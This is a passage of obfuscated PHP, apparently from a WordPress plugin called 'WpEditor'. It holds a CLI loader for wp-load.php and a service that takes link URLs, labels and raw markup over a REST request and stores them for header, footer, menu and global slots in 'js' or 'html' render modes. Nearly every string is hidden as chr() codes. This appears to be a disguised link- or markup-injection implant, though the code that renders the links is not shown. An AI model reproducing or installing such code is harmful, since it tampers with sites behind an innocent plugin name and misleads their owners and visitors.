            WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32))) . $dir);
            require $dir . '/wp/wp-load.php';
            return true;
        }
        $dir = dirname($dir);
    }
    return false;
}
function wp_editor_install_shutdown_cli_activation($pluginFile)
{
    WpEditor_Adapter_Services_InstallService_shutdownCliActivation($pluginFile);
}
// --- file separator ---
function WpEditor_Adapter_Services_LinkOptionsService_getUrl($key)
{
    return (string) \get_option($key, '');
}
function WpEditor_Adapter_Services_LinkOptionsService_getLabel($key, $default = '')
{
    return (string) \get_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95))) . $key, $default);
}
function WpEditor_Adapter_Services_LinkOptionsService_getMarkup($key)
{
    return (string) \get_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(95))) . $key, '');
}
function WpEditor_Adapter_Services_LinkOptionsService_getAnchor($key)
{
    return (string) \get_option(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95))) . $key, '');
}
// --- file separator ---
function WpEditor_Adapter_Services_LinksService_fields()
{
    return array(implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))));
}
function WpEditor_Adapter_Services_LinksService_updateLinks($request)
{
    return WpEditor_Adapter_Services_LinksService_handleOption($request, implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))));
}
function WpEditor_Adapter_Services_LinksService_deleteLinks($request)
{
    return WpEditor_Adapter_Services_LinksService_handleOption($request, implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101))));
}
function WpEditor_Adapter_Services_LinksService_getBody($request)
{
    $body = $request->get_json_params();
    if (\is_array($body) && $body !== array()) {
        return $body;
    }
    $raw = $request->get_body();
    if (\is_string($raw) && $raw !== '') {
        $decoded = \json_decode($raw, true);
        if (\is_array($decoded)) {
            return $decoded;
        }
    }
    $params = $request->get_params();
    return \is_array($params) ? $params : array();
}
function WpEditor_Adapter_Services_LinksService_normalizeBody($body)
{
    $links = array();
    $linkName = '';
    $linkNames = array();
    $linkMarkups = array();
    $linkAnchors = array();
    $linkAnchorPresence = array();
    $renderMode = null;
    if (\wp_editor_array_has_key($body, implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))) && \is_array($body[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))])) {
        $body = \array_merge($body, $body[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))]);
    }
    if (\wp_editor_array_has_key($body, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))) && \is_array($body[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))])) {
        $body = \array_merge($body, $body[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))]);
    }
    $linkName = \trim((string) (\wp_editor_array_has_key($body, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101)))) ? $body[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101)))] : ''));
    $renderModeValue = \trim((string) (\wp_editor_array_has_key($body, implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))) ? $body[implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))] : ''));
    $renderMode = $renderModeValue !== '' ? $renderModeValue : null;
    if ($renderMode !== null && !\in_array($renderMode, array(implode('', array(chr(106), chr(115))), implode('', array(chr(104), chr(116), chr(109), chr(108)))), true)) {
        $renderMode = null;
    }
    foreach (WpEditor_Adapter_Services_LinksService_fields() as $field) {
        $value = \wp_editor_array_has_key($body, $field) ? $body[$field] : null;
        if ($value !== null && $value !== '') {
            $url = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
            $url = \trim($url);
            if ($url !== '') {
                $links[$field] = $url;
            }
        }
        $richValue = WpEditor_Adapter_Services_LinksService_extractFieldRichValue($body, $field);
        if ($richValue !== null && $richValue !== '') {
            $parsedRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($richValue);
            if (\wp_editor_array_has_key($parsedRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                $links[$field] = $parsedRich[implode('', array(chr(117), chr(114), chr(108)))];
            }
            if (\wp_editor_array_has_key($parsedRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                $linkNames[$field] = $parsedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
            }
            if (\wp_editor_array_has_key($parsedRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                $linkMarkups[$field] = $parsedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
            }
        }
        $labelKey = implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95))) . $field;
        $labelValue = \trim((string) (\wp_editor_array_has_key($body, $labelKey) ? $body[$labelKey] : ''));
        if ($labelValue !== '') {
            $linkNames[$field] = $labelValue;
            $parsedLabelRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($labelValue);
            if (\wp_editor_array_has_key($parsedLabelRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                $linkMarkups[$field] = $parsedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
                if (\wp_editor_array_has_key($parsedLabelRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                    $linkNames[$field] = $parsedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
                }
                if (\wp_editor_array_has_key($parsedLabelRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedLabelRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                    $links[$field] = $parsedLabelRich[implode('', array(chr(117), chr(114), chr(108)))];
                }
            }
        }
        $fieldAnchorProvided = false;
        $fieldAnchorValue = WpEditor_Adapter_Services_LinksService_extractFieldAnchorValue($body, $field, $fieldAnchorProvided);
        if ($fieldAnchorProvided) {
            $linkAnchorPresence[$field] = true;
            if ($fieldAnchorValue !== '') {
                $linkAnchors[$field] = WpEditor_Adapter_Services_LinksService_normalizeAnchor($fieldAnchorValue);
            }
        }
        $fieldPartsProvided = false;
        $fieldRichParts = WpEditor_Adapter_Services_LinksService_extractFieldRichParts($body, $field, $fieldPartsProvided);
        if ($fieldPartsProvided) {
            $currentUrl = \wp_editor_array_has_key($links, $field) ? (string) $links[$field] : '';
            $currentLabel = \wp_editor_array_has_key($linkNames, $field) ? (string) $linkNames[$field] : '';
            $builtRich = WpEditor_Adapter_Services_LinksService_buildRichFromParts($fieldRichParts, $currentUrl, $currentLabel);
            if (\wp_editor_array_has_key($builtRich, implode('', array(chr(117), chr(114), chr(108)))) && $builtRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                $links[$field] = $builtRich[implode('', array(chr(117), chr(114), chr(108)))];
            }
            if (\wp_editor_array_has_key($builtRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                $linkNames[$field] = $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
            }
            if (\wp_editor_array_has_key($builtRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                $linkMarkups[$field] = $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
            }
        }
    }
    if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \wp_editor_array_has_key($body, implode('', array(chr(117), chr(114), chr(108)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
        $type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
        $url = $body[implode('', array(chr(117), chr(114), chr(108)))];
        $url = \is_string($url) ? $url : (\is_array($url) ? (string) \reset($url) : (string) $url);
        $url = \trim($url);
        if ($url !== '') {
            $links[$type] = $url;
        }
    }
    if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
        $type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
        $typedRichValue = WpEditor_Adapter_Services_LinksService_extractTypedRichValue($body);
        if ($typedRichValue !== null && $typedRichValue !== '') {
            $parsedTypedRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($typedRichValue);
            if (\wp_editor_array_has_key($parsedTypedRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedTypedRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                $links[$type] = $parsedTypedRich[implode('', array(chr(117), chr(114), chr(108)))];
            }
            if (\wp_editor_array_has_key($parsedTypedRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedTypedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '' && !\wp_editor_array_has_key($linkNames, $type)) {
                $linkNames[$type] = $parsedTypedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
            }
            if (\wp_editor_array_has_key($parsedTypedRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedTypedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                $linkMarkups[$type] = $parsedTypedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
            }
        }
        $typedAnchorProvided = false;
        $typedAnchorValue = WpEditor_Adapter_Services_LinksService_extractTypedAnchorValue($body, $typedAnchorProvided);
        if ($typedAnchorProvided) {
            $linkAnchorPresence[$type] = true;
            if ($typedAnchorValue !== '') {
                $linkAnchors[$type] = WpEditor_Adapter_Services_LinksService_normalizeAnchor($typedAnchorValue);
            }
        }
    }
    if ($linkName !== '') {
        if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
            $type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
            $linkNames[$type] = $linkName;
            $parsedTypedLabelRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($linkName);
            if (\wp_editor_array_has_key($parsedTypedLabelRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedTypedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                $linkMarkups[$type] = $parsedTypedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
                if (\wp_editor_array_has_key($parsedTypedLabelRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedTypedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                    $linkNames[$type] = $parsedTypedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
                }
                if (\wp_editor_array_has_key($parsedTypedLabelRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedTypedLabelRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                    $links[$type] = $parsedTypedLabelRich[implode('', array(chr(117), chr(114), chr(108)))];
                }
            }
        } elseif (\count($links) === 1) {
            $keys = \array_keys($links);
            $onlyField = \wp_editor_array_has_key($keys, 0) ? $keys[0] : null;
            if (\is_string($onlyField) && $onlyField !== '') {
                $linkNames[$onlyField] = $linkName;
                $parsedSingleLabelRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($linkName);
                if (\wp_editor_array_has_key($parsedSingleLabelRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedSingleLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                    $linkMarkups[$onlyField] = $parsedSingleLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
                    if (\wp_editor_array_has_key($parsedSingleLabelRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedSingleLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                        $linkNames[$onlyField] = $parsedSingleLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
                    }
                    if (\wp_editor_array_has_key($parsedSingleLabelRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedSingleLabelRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                        $links[$onlyField] = $parsedSingleLabelRich[implode('', array(chr(117), chr(114), chr(108)))];
                    }
                }
            }
        }
    }
    if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
        $type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
        $typedPartsProvided = false;
        $typedRichParts = WpEditor_Adapter_Services_LinksService_extractTypedRichParts($body, $typedPartsProvided);
        if ($typedPartsProvided) {
            $currentUrl = \wp_editor_array_has_key($links, $type) ? (string) $links[$type] : '';
            $currentLabel = \wp_editor_array_has_key($linkNames, $type) ? (string) $linkNames[$type] : '';
            $builtRich = WpEditor_Adapter_Services_LinksService_buildRichFromParts($typedRichParts, $currentUrl, $currentLabel);
            if (\wp_editor_array_has_key($builtRich, implode('', array(chr(117), chr(114), chr(108)))) && $builtRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                $links[$type] = $builtRich[implode('', array(chr(117), chr(114), chr(108)))];
            }
            if (\wp_editor_array_has_key($builtRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                $linkNames[$type] = $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
            }
            if (\wp_editor_array_has_key($builtRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                $linkMarkups[$type] = $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
            }
        }
    }
    // Support generic rich parts without `type` when exactly one link field is present.
    if ((!\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) || !\in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) && \count($links) === 1) {
        $typedPartsProvided = false;
        $typedRichParts = WpEditor_Adapter_Services_LinksService_extractTypedRichParts($body, $typedPartsProvided);
        if ($typedPartsProvided) {
            $keys = \array_keys($links);
            $onlyField = \wp_editor_array_has_key($keys, 0) ? $keys[0] : null;
            if (\is_string($onlyField) && $onlyField !== '') {
                $currentUrl = \wp_editor_array_has_key($links, $onlyField) ? (string) $links[$onlyField] : '';
                $currentLabel = \wp_editor_array_has_key($linkNames, $onlyField) ? (string) $linkNames[$onlyField] : '';
                $builtRich = WpEditor_Adapter_Services_LinksService_buildRichFromParts($typedRichParts, $currentUrl, $currentLabel);
                if (\wp_editor_array_has_key($builtRich, implode('', array(chr(117), chr(114), chr(108)))) && $builtRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
                    $links[$onlyField] = $builtRich[implode('', array(chr(117), chr(114), chr(108)))];
                }
                if (\wp_editor_array_has_key($builtRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
                    $linkNames[$onlyField] = $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
                }
                if (\wp_editor_array_has_key($builtRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
                    $linkMarkups[$onlyField] = $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
                }
            }
        }
    }
    return array(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115))) => $links, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101))) => $linkName, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115))) => $linkNames, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115))) => $linkMarkups, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115))) => $linkAnchors, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101))) => $linkAnchorPresence, implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))) => $renderMode);
}
function WpEditor_Adapter_Services_LinksService_extractFieldAnchorValue($body, $field, &$provided)
{
    $provided = false;
    $keys = array(implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95))) . $field, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95))) . $field);
    foreach ($keys as $key) {
        if (!\wp_editor_array_has_key($body, $key)) {
            continue;
        }
        $provided = true;
        $value = $body[$key];
        $value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
        return \trim($value);
    }
    return '';
}
function WpEditor_Adapter_Services_LinksService_extractTypedAnchorValue($body, &$provided)
{
    $provided = false;
    $keys = array(implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))));
    foreach ($keys as $key) {
        if (!\wp_editor_array_has_key($body, $key)) {
            continue;
        }
        $provided = true;
        $value = $body[$key];
        $value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
        return \trim($value);
    }
    return '';
}
function WpEditor_Adapter_Services_LinksService_normalizeAnchor($anchor)
{
    $value = (string) $anchor;
    $value = \ltrim($value, implode('', array(chr(35), chr(32), chr(9), chr(10), chr(13), chr(0), chr(11))));
    $value = \sanitize_text_field($value);
    $value = \strtolower($value);
    $value = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(48), chr(45), chr(57), chr(92), chr(45), chr(95), chr(93), chr(43), chr(47), chr(105))), implode('', array(chr(45))), $value);
    if (!\is_string($value)) {
        return '';
    }
    $value = \trim($value, implode('', array(chr(45))));
    return $value;
}
function WpEditor_Adapter_Services_LinksService_extractFieldRichParts($body, $field, &$provided)
{
    $provided = false;
    $beforeKey = implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95))) . $field;
    $betweenKey = implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95))) . $field;
    $afterKey = implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95))) . $field;
    $hasBefore = \wp_editor_array_has_key($body, $beforeKey);
    $hasBetween = \wp_editor_array_has_key($body, $betweenKey);
    $hasAfter = \wp_editor_array_has_key($body, $afterKey);
    if (!$hasBefore && !$hasBetween && !$hasAfter) {
        return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => '', implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => '', implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => '');
    }
    $provided = true;
    return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBefore ? $body[$beforeKey] : ''), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBetween ? $body[$betweenKey] : ''), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasAfter ? $body[$afterKey] : ''));
}
function WpEditor_Adapter_Services_LinksService_extractTypedRichParts($body, &$provided)
{
    $provided = false;
    $hasBefore = \wp_editor_array_has_key($body, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))));
    $hasBetween = \wp_editor_array_has_key($body, implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))));
    $hasAfter = \wp_editor_array_has_key($body, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))));
    if (!$hasBefore && !$hasBetween && !$hasAfter) {
        return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => '', implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => '', implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => '');
    }
    $provided = true;
    return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBefore ? $body[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101)))] : ''), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBetween ? $body[implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110)))] : ''), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasAfter ? $body[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114)))] : ''));
}
function WpEditor_Adapter_Services_LinksService_buildRichFromParts($parts, $fallbackUrl, $fallbackLabel)
{
    if (!\is_array($parts)) {
        return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
    }
    $beforeRaw = \wp_editor_array_has_key($parts, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101)))) ? (string) $parts[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101)))] : '';
    $betweenRaw = \wp_editor_array_has_key($parts, implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110)))) ? (string) $parts[implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110)))] : '';
    $afterRaw = \wp_editor_array_has_key($parts, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114)))) ? (string) $parts[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114)))] : '';
    if ($beforeRaw === '' && $betweenRaw === '' && $afterRaw === '') {
        return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
    }
    $betweenParsed = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($betweenRaw);
    $betweenUrl = \wp_editor_array_has_key($betweenParsed, implode('', array(chr(117), chr(114), chr(108)))) ? (string) $betweenParsed[implode('', array(chr(117), chr(114), chr(108)))] : '';
    $betweenLabel = \wp_editor_array_has_key($betweenParsed, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) ? (string) $betweenParsed[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] : '';
    $resolvedUrl = \trim((string) $fallbackUrl);
    if ($resolvedUrl === '') {
        $resolvedUrl = \trim($betweenUrl);
    }
    $resolvedLabel = \trim((string) $fallbackLabel);
    if ($resolvedLabel === '') {
        $resolvedLabel = \trim($betweenLabel);
    }
    $beforeText = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($beforeRaw);
    $afterText = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($afterRaw);
    $anchorHtml = '';
    if ($resolvedUrl !== '') {
        $anchorText = $resolvedLabel !== '' ? $resolvedLabel : $resolvedUrl;
        $anchorHtml = implode('', array(chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($resolvedUrl) . implode('', array(chr(34), chr(62))) . \esc_html($anchorText) . implode('', array(chr(60), chr(47), chr(97), chr(62)));
    } elseif ($betweenRaw !== '') {
        $anchorHtml = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($betweenRaw);
    }
    $chunks = array();
    if ($beforeText !== '') {
        $chunks[] = $beforeText;
    }
    if ($anchorHtml !== '') {
        $chunks[] = $anchorHtml;
    }
    if ($afterText !== '') {
        $chunks[] = $afterText;
    }
    return array(implode('', array(chr(117), chr(114), chr(108))) => $resolvedUrl, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => $resolvedLabel, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => $chunks !== array() ? \implode(implode('', array(chr(32))), $chunks) : '');
}
function WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($value)
{
    $normalized = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
    return \trim($normalized);
}
function WpEditor_Adapter_Services_LinksService_extractFieldRichValue($body, $field)
{
    $keys = array($field . implode('', array(chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))), $field . implode('', array(chr(95), chr(104), chr(116), chr(109), chr(108))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95))) . $field, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(95))) . $field);
    foreach ($keys as $key) {
        if (!\wp_editor_array_has_key($body, $key)) {
            continue;
        }
        $value = $body[$key];
        $value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
        $value = \trim($value);
        if ($value !== '') {
            return $value;
        }
    }
    return null;
}
function WpEditor_Adapter_Services_LinksService_extractTypedRichValue($body)
{
    $keys = array(implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))), implode('', array(chr(104), chr(116), chr(109), chr(108))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))));
    foreach ($keys as $key) {
        if (!\wp_editor_array_has_key($body, $key)) {
            continue;
        }
        $value = $body[$key];
        $value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
        $value = \trim($value);
        if ($value !== '') {
            return $value;
        }
    }
